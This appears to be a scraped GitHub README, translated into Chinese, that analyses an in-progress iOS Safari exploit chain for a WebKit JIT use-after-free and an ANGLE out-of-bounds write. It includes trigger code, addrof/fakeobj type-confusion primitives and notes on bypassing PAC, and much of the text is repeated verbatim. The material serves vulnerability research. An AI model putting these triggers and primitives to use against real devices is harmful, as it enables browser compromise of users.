zeroxjf/WebKit-UAF-ANGLE-OOB-Analysis
GitHub: zeroxjf/WebKit-UAF-ANGLE-OOB-Analysis
对 iOS Safari 上 WebKit UAF 与 ANGLE OOB 利用链(CVE-2025-43529 + CVE-2025-14174)的深入分析笔记,记录了已验证的漏洞原语和 PAC 保护下的利用瓶颈。
Stars: 96 | Forks: 19
# WebKit-UAF-ANGLE-OOB 分析 (CVE-2025-43529, CVE-2025-14174)
关于 iOS 26.1 上 WebKit/ANGLE 利用链的笔记和 PoC 资料。本仓库不是完整的漏洞利用;它记录了已验证的部分以及仍在失败的部分。
**作者:** [zeroxjf](https://x.com/zeroxjf)
**基于:** [jir4vv1t 的 CVE-2025-43529 漏洞利用](https://github.com/jir4vv1t/CVE-2025-43529)
**状态:** 进行中
**测试设备:** iPhone 11 Pro Max, iOS 26.1
**最后更新:** 2026 年 1 月 ## 范围与致谢 CVE-2025-43529 UAF 触发、butterfly 重用以及 `addrof`/`fakeobj` 原语基于 **[jir4vv1t 的工作](https://github.com/jir4vv1t/CVE-2025-43529)**。我新增的部分是 ANGLE OOB 管道、侧重 PAC 的分析以及 iOS 26.1 验证。 **注意:** AI 辅助进行了探测分析;研究结果在发布前均经过手动验证。 ## 概述 两个同时披露的 WebKit CVE,Apple 报告称已在实际攻击中被利用。 | CVE | 组件 | 类型 | 摘要 | |-----|-----------|------|---------| | CVE-2025-43529 | JavaScriptCore | Use-After-Free | DFG JIT 缺少写入屏障导致 GC 释放了活跃对象 | | CVE-2025-14174 | ANGLE (GPU) | Out-of-Bounds Write | Metal 后端为暂存缓冲区分配使用了错误的高度 | ## CVE-2025-43529: WebKit DFG Store Barrier UAF ### 根本原因 该漏洞存在于 JavaScriptCore 的 DFG JIT 中,具体为 **Store Barrier Insertion Phase** (`DFGStoreBarrierInsertionPhase.cpp`)。 当 **Phi 节点逃逸** 但其 **Upsilon 输入未被标记为逃逸** 时,后续的存储操作会遗漏写入屏障。这允许 GC 释放仍可达的对象。 ### 触发机制 ``` function triggerUAF(flag, k, allocCount) { let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 }; arr[arr_index] = A; // A in old space let a = new Date(1111); a[0] = 1.1; // Creates butterfly for Date // Force GC for (let j = 0; j < allocCount; ++j) { forGC.push(new ArrayBuffer(0x800000)); } let b = { p0: 0x42424242, p1: 1.1 }; // Phi node - the bug let f = b; if (flag) f = 1.1; A.p1 = f; // Phi escapes, but 'b' NOT marked as escaped // Long loop = GC race window for (let i = 0; i < 1e6; ++i) { /* ... */ } b.p1 = a; // NO WRITE BARRIER - 'a' freed while still reachable } ``` ### 利用草图 被释放的 Date 的 butterfly 可以通过喷射数组来重用,从而造成类型混淆: ``` // After reclaim: boxed_arr[0] = obj; // Store object reference addr = ftoi(unboxed_arr[0]); // Read as float64 = leaked address unboxed_arr[0] = itof(addr); // Write address as float64 fake = boxed_arr[0]; // Read as object = fakeobj ``` ### 当前结果 (iPhone 11 Pro Max, iOS 26.1) - **addrof/fakeobj:** 在探测运行中已验证 - **地址泄漏:** 每次运行捕获 20 个以上的对象地址 - **内联存储读写:** 已针对已知的内联插槽(基于对象地址)验证 - **任意读写:** 未证实;后端存储扫描证明在当前运行中失败 ## CVE-2025-14174: ANGLE Metal 后端 OOB 写入 ### 根本原因 在 ANGLE 的 Metal 后端 (`TextureMtl.cpp`) 中,当通过 PBO 上传时,暂存缓冲区分配使用了 `UNPACK_IMAGE_HEIGHT` 而不是实际的纹理高度。 ### 触发 ``` gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // Small value // Staging buffer: 256 * 16 * 4 = 16KB // Actual write: 256 * 256 * 4 = 256KB // OOB: 240KB! gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F, 256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0); ``` ## PAC 问题 ### 阻碍完整漏洞利用的因素 在 arm64e (iPhone 11 Pro Max) 上,**Pointer Authentication Codes** 保护着关键的 JSC 指针: | 指针 | 受保护 | 结果 | |---------|-----------|--------| | TypedArray `m_vector` | 是 | 无法伪造具有任意后端存储的 TypedArray | | JSArray `butterfly` | 是 | 无法伪造具有任意 butterfly 的 JSArray | 当我尝试创建一个带有任意数据指针的伪造 TypedArray/JSArray 时,PAC 验证失败并崩溃: ``` Exception: EXC_BAD_ACCESS KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc (possible pointer authentication failure) ``` ### 为什么原始的类型混淆有效 类型混淆成功是因为两个数组都使用了**合法签名的** butterfly 指针——我们只是重新解释了同一块内存。带有任意未签名指针的伪造对象会在 PAC 检查时崩溃。 ### 潜在的绕过途径 1. 可能跳过身份验证的 JIT 代码路径 2. 对任意指针进行签名的 gadgets 3. 以不同方式利用 ANGLE OOB 4. 不需要伪造对象的替代原语 ## 当前能力 | 原语 | 状态 | 备注 | |-----------|--------|-------| | `addrof(obj)` | **工作中** | 在探测中验证 | | `fakeobj(addr)` | **工作中** | 已针对已知对象验证 | | 地址泄漏 | **工作中** | 每次运行 20 个以上地址 | | 内联插槽读写 | **工作中** | 已在已知内联插槽上验证(基于对象地址)| | `read64(addr)` | 未验证 | 通过内联插槽技巧构造,验证失败 | | `write64(addr)` | 未验证 | 通过内联插槽技巧构造,验证失败 | ## 证据摘要(最新探测运行) - **已验证:** `addrof`、`fakeobj`、地址泄漏、已知对象上的内联插槽读写 - **未验证:** 任意 `read64`/`write64`、渲染器→GPU 逃逸链、沙箱逃逸 - **ANGLE 探测:** WebGL2 PBO 路径已实现;在当前运行中未确认触发 ## 仓库结构 ``` ├── README.md # This file ├── poc/ │ └── chained_exploit_probe.html └── analysis/ ├── pac_analysis.md # Detailed PAC findings └── crash_logs/ # Example crash reports ``` ## 致谢 CVE-2025-43529 UAF 触发、butterfly 重用技术以及 `addrof`/`fakeobj` 原语构造基于 **[jir4vv1t](https://github.com/jir4vv1t/CVE-2025-43529)** 的工作。他们对 DFG Store Barrier 漏洞和竞态条件利用的详细分析对本研究起到了重要作用。 ## 参考文献 - [jir4vv1t/CVE-2025-43529](https://github.com/jir4vv1t/CVE-2025-43529) - 原始 UAF 漏洞利用和分析 - WebKit Bugzilla: 302502, 303614 - Apple 安全更新 - iOS 26 - Google 威胁分析小组 **进行中。**
**基于:** [jir4vv1t 的 CVE-2025-43529 漏洞利用](https://github.com/jir4vv1t/CVE-2025-43529)
**状态:** 进行中
**测试设备:** iPhone 11 Pro Max, iOS 26.1
**最后更新:** 2026 年 1 月 ## 范围与致谢 CVE-2025-43529 UAF 触发、butterfly 重用以及 `addrof`/`fakeobj` 原语基于 **[jir4vv1t 的工作](https://github.com/jir4vv1t/CVE-2025-43529)**。我新增的部分是 ANGLE OOB 管道、侧重 PAC 的分析以及 iOS 26.1 验证。 **注意:** AI 辅助进行了探测分析;研究结果在发布前均经过手动验证。 ## 概述 两个同时披露的 WebKit CVE,Apple 报告称已在实际攻击中被利用。 | CVE | 组件 | 类型 | 摘要 | |-----|-----------|------|---------| | CVE-2025-43529 | JavaScriptCore | Use-After-Free | DFG JIT 缺少写入屏障导致 GC 释放了活跃对象 | | CVE-2025-14174 | ANGLE (GPU) | Out-of-Bounds Write | Metal 后端为暂存缓冲区分配使用了错误的高度 | ## CVE-2025-43529: WebKit DFG Store Barrier UAF ### 根本原因 该漏洞存在于 JavaScriptCore 的 DFG JIT 中,具体为 **Store Barrier Insertion Phase** (`DFGStoreBarrierInsertionPhase.cpp`)。 当 **Phi 节点逃逸** 但其 **Upsilon 输入未被标记为逃逸** 时,后续的存储操作会遗漏写入屏障。这允许 GC 释放仍可达的对象。 ### 触发机制 ``` function triggerUAF(flag, k, allocCount) { let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 }; arr[arr_index] = A; // A in old space let a = new Date(1111); a[0] = 1.1; // Creates butterfly for Date // Force GC for (let j = 0; j < allocCount; ++j) { forGC.push(new ArrayBuffer(0x800000)); } let b = { p0: 0x42424242, p1: 1.1 }; // Phi node - the bug let f = b; if (flag) f = 1.1; A.p1 = f; // Phi escapes, but 'b' NOT marked as escaped // Long loop = GC race window for (let i = 0; i < 1e6; ++i) { /* ... */ } b.p1 = a; // NO WRITE BARRIER - 'a' freed while still reachable } ``` ### 利用草图 被释放的 Date 的 butterfly 可以通过喷射数组来重用,从而造成类型混淆: ``` // After reclaim: boxed_arr[0] = obj; // Store object reference addr = ftoi(unboxed_arr[0]); // Read as float64 = leaked address unboxed_arr[0] = itof(addr); // Write address as float64 fake = boxed_arr[0]; // Read as object = fakeobj ``` ### 当前结果 (iPhone 11 Pro Max, iOS 26.1) - **addrof/fakeobj:** 在探测运行中已验证 - **地址泄漏:** 每次运行捕获 20 个以上的对象地址 - **内联存储读写:** 已针对已知的内联插槽(基于对象地址)验证 - **任意读写:** 未证实;后端存储扫描证明在当前运行中失败 ## CVE-2025-14174: ANGLE Metal 后端 OOB 写入 ### 根本原因 在 ANGLE 的 Metal 后端 (`TextureMtl.cpp`) 中,当通过 PBO 上传时,暂存缓冲区分配使用了 `UNPACK_IMAGE_HEIGHT` 而不是实际的纹理高度。 ### 触发 ``` gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // Small value // Staging buffer: 256 * 16 * 4 = 16KB // Actual write: 256 * 256 * 4 = 256KB // OOB: 240KB! gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F, 256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0); ``` ## PAC 问题 ### 阻碍完整漏洞利用的因素 在 arm64e (iPhone 11 Pro Max) 上,**Pointer Authentication Codes** 保护着关键的 JSC 指针: | 指针 | 受保护 | 结果 | |---------|-----------|--------| | TypedArray `m_vector` | 是 | 无法伪造具有任意后端存储的 TypedArray | | JSArray `butterfly` | 是 | 无法伪造具有任意 butterfly 的 JSArray | 当我尝试创建一个带有任意数据指针的伪造 TypedArray/JSArray 时,PAC 验证失败并崩溃: ``` Exception: EXC_BAD_ACCESS KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc (possible pointer authentication failure) ``` ### 为什么原始的类型混淆有效 类型混淆成功是因为两个数组都使用了**合法签名的** butterfly 指针——我们只是重新解释了同一块内存。带有任意未签名指针的伪造对象会在 PAC 检查时崩溃。 ### 潜在的绕过途径 1. 可能跳过身份验证的 JIT 代码路径 2. 对任意指针进行签名的 gadgets 3. 以不同方式利用 ANGLE OOB 4. 不需要伪造对象的替代原语 ## 当前能力 | 原语 | 状态 | 备注 | |-----------|--------|-------| | `addrof(obj)` | **工作中** | 在探测中验证 | | `fakeobj(addr)` | **工作中** | 已针对已知对象验证 | | 地址泄漏 | **工作中** | 每次运行 20 个以上地址 | | 内联插槽读写 | **工作中** | 已在已知内联插槽上验证(基于对象地址)| | `read64(addr)` | 未验证 | 通过内联插槽技巧构造,验证失败 | | `write64(addr)` | 未验证 | 通过内联插槽技巧构造,验证失败 | ## 证据摘要(最新探测运行) - **已验证:** `addrof`、`fakeobj`、地址泄漏、已知对象上的内联插槽读写 - **未验证:** 任意 `read64`/`write64`、渲染器→GPU 逃逸链、沙箱逃逸 - **ANGLE 探测:** WebGL2 PBO 路径已实现;在当前运行中未确认触发 ## 仓库结构 ``` ├── README.md # This file ├── poc/ │ └── chained_exploit_probe.html └── analysis/ ├── pac_analysis.md # Detailed PAC findings └── crash_logs/ # Example crash reports ``` ## 致谢 CVE-2025-43529 UAF 触发、butterfly 重用技术以及 `addrof`/`fakeobj` 原语构造基于 **[jir4vv1t](https://github.com/jir4vv1t/CVE-2025-43529)** 的工作。他们对 DFG Store Barrier 漏洞和竞态条件利用的详细分析对本研究起到了重要作用。 ## 参考文献 - [jir4vv1t/CVE-2025-43529](https://github.com/jir4vv1t/CVE-2025-43529) - 原始 UAF 漏洞利用和分析 - WebKit Bugzilla: 302502, 303614 - Apple 安全更新 - iOS 26 - Google 威胁分析小组 **进行中。**
标签:ANGLE, CISA项目, CVE-2025-14174, CVE-2025-43529, DFG, Go语言工具, GPU, iOS安全, JavaScriptCore, JIT编译器, Metal, mitigations, OOB, Out-of-Bounds, PAC, PoC, Safari浏览器, UAF, Use-After-Free, WebKit, Web报告查看器, 云资产清单, 内存安全, 内存损坏, 后端开发, 多模态安全, 情报收集, 攻击面, 数据可视化, 暴力破解, 漏洞分析, 漏洞利用链, 漏洞研究, 目录枚举, 移动安全, 网络安全, 路径探测, 逆向工程, 隐私保护, 零点击漏洞